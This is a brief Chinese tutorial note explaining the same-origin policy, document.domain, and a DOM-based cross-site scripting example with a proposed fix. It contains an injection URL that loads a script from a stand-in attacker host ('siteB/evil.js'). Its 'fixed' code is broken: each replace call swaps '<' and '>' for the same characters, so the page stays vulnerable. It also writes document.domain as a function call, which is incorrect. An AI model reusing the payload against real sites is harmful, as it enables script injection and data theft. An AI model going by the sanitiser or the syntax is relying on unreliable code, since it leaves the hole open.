同源策略
文档的来源定义:协议(http及https),主机(ip)或者URL端口
脚本的来源定义:脚本的来源和同源策略并不相关,而是脚本所在文档的来源,例:
来自域A的脚本被包含在域B中。如果脚本打开一个新的窗口来加载域B的另一个文档,脚本对这个文档有完全的访问权。但如果脚本打开一个窗口加载来自域C(或域A)的文档,同源策略就会发挥作用,则脚本对这个文档没有访问权限。
document.domain属性
解决大型网站的同源策略的问题,例:
来自home.example.com的脚本想要读取developer.example.com的属性,可以在两个站点的脚本中设置:
document.domain("example.com")
domain中的属性必须要有个点号,它不能是com这种顶级域名
跨站脚本XSS
什么是跨站脚本?例:
考虑如下web页面,它使用用户名字来向用户问好:
<script>
var name=decodeURIComponent(window.location.search.substring(6)) || " ";
document.write("hello"+name);
</script>
假设有如下url:
http://www.example.com/greet.html?name=david
它会显示hello david。但是如果url变成这样:
http://www.example.com/greet.html?name=%3Cscript src=
siteB/evil.js%3E%3C/%3E
(%3C及%3E是尖括号编码)相当于在该站点注入了
siteB站点的脚本,即B站点的脚本就可以获取到当前文档的内容及隐私信息。
通常的防止方式是,在使用任何不可信的数据动态生成文档前,移除HTML标记,上面的例子可以修改如下:
<script>
var name=decodeURIComponent(window.location.search.substring(6)) || " ";
name=name.replace(/</g,"<").replace(/>/g,">");
document.write("hello"+name);
</script>